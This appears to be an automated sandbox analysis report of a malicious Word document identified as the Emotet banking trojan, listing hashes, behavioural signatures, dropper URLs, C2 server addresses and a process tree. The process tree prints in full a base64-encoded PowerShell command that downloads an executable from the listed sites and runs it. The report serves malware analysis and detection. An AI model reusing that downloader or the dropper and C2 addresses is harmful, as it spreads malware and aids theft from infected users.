Overview

overview

10

Static

static

8

A_45564117824.doc

windows7_x64

10

A_45564117824.doc

windows10_x64

1

Analysis

  • max time kernel
    150s
  • max time network
    136s
  • platform
    windows7_x64
  • resource
    win7v200430
  • submitted
    21/07/2020, 07:13

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    A_45564117824.doc
  • Size 171KB
  • Sample200721-bf7cm1ds76
  • SHA256 fc2bb7719f33ff249113e3c05c4b2b6fdbc99190e250b3073295e271c553f0d0
  • MD5 SHA1 SHA512
Score
10/10
discoverytrojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://chundubio.com/wkdn/cwwb/
  • exe.dropper

    http://fijipiscinas.com/wp-admin/ympm/
  • exe.dropper

    http://bmgreenwood.com/wp-admin/zbVruD8kW/
  • exe.dropper

    http://generalstorebd.com/wp-admin/0udvO/
  • exe.dropper

    http://elenavon.com/wp-content/tas0yth/

Extracted

Family

  • emotet

C2

  • 124.45.106.173:443

  • 212.51.142.238:8080

  • 176.111.60.55:8080

  • 201.173.217.124:443

  • 108.48.41.69:80

  • 200.41.121.90:80

  • 222.214.218.37:4143

  • 173.91.22.41:80

  • 78.189.165.52:8080

  • 190.108.228.62:443

  • 209.141.54.221:8080

  • 87.106.139.101:8080

  • 74.208.45.104:8080

  • 186.208.123.210:443

  • 109.117.53.230:443

  • 103.86.49.11:8080

  • 139.59.60.244:8080

  • 153.126.210.205:7080

  • 109.74.5.95:8080

  • 91.211.88.52:7080

rsa_pubkey.plain

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs
  • Modifies registry class 280 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Blacklisted process makes network request 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Runs net.exe
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Drops file in System32 directory 2 IoCs
  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\A_45564117824.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:880
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JAB2AG8AdQBjAGgAeAB1AHEAdQBxAHUAZQBoAHEAdQBlAHEAdQBoAGEAbwBuAD0AJwBqAHUAYQBuAGMAbwBhAHcAJwA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6ACIAcwBlAEMAdQBgAFIAaQBUAGAAeQBQAGAAUgBPAFQAbwBjAG8AbAAiACAAPQAgACcAdABsAHMAMQAyACwAIAB0AGwAcwAxADEALAAgAHQAbABzACcAOwAkAHYAZQBlAHEAdQAgAD0AIAAnADUAMAA2ACcAOwAkAGYAdQBhAHYAagBhAHcAcgBvAGkAcgBwAGUAYQB5AGQAYQB4AG4AYQBpAHMAPQAnAHoAYQB1AGYAJwA7ACQAdwBpAG8AeAA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAdgBlAGUAcQB1ACsAJwAuAGUAeABlACcAOwAkAHoAZQBlAGgAcABvAGkAeABxAHUAbwB1AHEAdQA9ACcAdABoAG8AaQB5AHAAaQBvAGMAaABsAG8AYQBmAHIAZQBpAHkAcABhAHUAaAByAGUAaQBnACcAOwAkAHoAZQBpAGIAbgBhAHUAeQBuAGEAZQB4AHQAaQBvAHQAPQAmACgAJwBuAGUAdwAnACsAJwAtACcAKwAnAG8AYgBqAGUAYwB0ACcAKQAgAG4AZQBUAC4AdwBlAEIAQwBsAGkARQBuAHQAOwAkAHkAYQBvAG0AbABvAGUAYgB3AGUAaQBzAHAAdQB1AHAAZgBlAGkAYgBxAHUAZQBpAHYAPQAnAGgAdAB0AHAAOgAvAC8AYwBoAHUAbgBkAHUAYgBpAG8ALgBjAG8AbQAvAHcAawBkAG4ALwBjAHcAdwBiAC8AKgBoAHQAdABwADoALwAvAGYAaQBqAGkAcABpAHMAYwBpAG4AYQBzAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwB5AG0AcABtAC8AKgBoAHQAdABwADoALwAvAGIAbQBnAHIAZQBlAG4AdwBvAG8AZAAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AegBiAFYAcgB1AEQAOABrAFcALwAqAGgAdAB0AHAAOgAvAC8AZwBlAG4AZQByAGEAbABzAHQAbwByAGUAYgBkAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwAwAHUAZAB2AE8ALwAqAGgAdAB0AHAAOgAvAC8AZQBsAGUAbgBhAHYAbwBuAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AdABhAHMAMAB5AHQAaAAvACcALgAiAHMAcABgAEwASQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAcwBvAG8AdABxAHUAZQBpAHoAeQBvAGUAZwB3AGUAcgA9ACcAbQBvAG8AZwBoAHUAYQBxAHUAcgBpAGEAeABkAGEAZQB0ACcAOwBmAG8AcgBlAGEAYwBoACgAJAByAHUAZABrAGEAZQBuACAAaQBuACAAJAB5AGEAbwBtAGwAbwBlAGIAdwBlAGkAcwBwAHUAdQBwAGYAZQBpAGIAcQB1AGUAaQB2ACkAewB0AHIAeQB7ACQAegBlAGkAYgBuAGEAdQB5AG4AYQBlAHgAdABpAG8AdAAuACIAZABgAG8AVwBOAGAAbABPAGAAQQBkAEYAaQBsAGUAIgAoACQAcgB1AGQAawBhAGUAbgAsACAAJAB3AGkAbwB4ACkAOwAkAGIAdQBhAHQAaABqAGEAaQBqAHkAZQBhAG0AZABhAGkAeQBrAGkAbwB0AGgAZgBvAGIAPQAnAHEAdQB1AGEAbQAnADsASQBmACAAKAAoAC4AKAAnAEcAZQB0AC0AJwArACcASQAnACsAJwB0AGUAbQAnACkAIAAkAHcAaQBvAHgAKQAuACIATABFAGAATgBgAGcAVABoACIAIAAtAGcAZQAgADMANAA4ADcANwApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AJwB3AGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzACcAKQAuACIAQwBSAEUAYABBAHQARQAiACgAJAB3AGkAbwB4ACkAOwAkAGQAYQBzAHAAaQBlAHQAaAB6AG8AYQBtAGwAZQBvAHkAPQAnAHQAaABvAHUAbQB5AG8AZQBmAGIAbwBhAGMAaABtAGkAYQBqAHYAZQBpAHQAZABvAHYAJwA7AGIAcgBlAGEAawA7ACQAdABhAG8AeAA9ACcAdwBvAGUAZgByAGUAdQBsACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAG0AbwBpAHQAaABxAHUAYQBpAGgAcwBhAGkAZwB4AGUAYQB0AGgAZgBlAHUAYgBnAHUAYQBtAD0AJwB0AGEAaQB2AHAAbwBzACcA
    1⤵
    • Process spawned unexpected child process
    • Suspicious behavior: EnumeratesProcesses
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious use of AdjustPrivilegeToken
    PID:1516
  • C:\Users\Admin\506.exe
    C:\Users\Admin\506.exe
    1⤵
    • Suspicious use of WriteProcessMemory
    • Executes dropped EXE
    • Suspicious use of SetWindowsHookEx
    • Drops file in System32 directory
    PID:1568
    • C:\Windows\SysWOW64\odbc32\net1.exe
      "C:\Windows\SysWOW64\odbc32\net1.exe"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Executes dropped EXE
      • Suspicious use of SetWindowsHookEx
      PID:1876

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/880-2-0x00000000089A0000-0x00000000089A4000-memory.dmp
        Download

        memory/880-5-0x000000000AE00000-0x000000000AE04000-memory.dmp
        Download

        memory/880-6-0x000000000BE80000-0x000000000BE84000-memory.dmp
        Download

        memory/1568-10-0x00000000002B0000-0x00000000002BC000-memory.dmp
        Download

        memory/1876-13-0x0000000000340000-0x000000000034C000-memory.dmp
        Download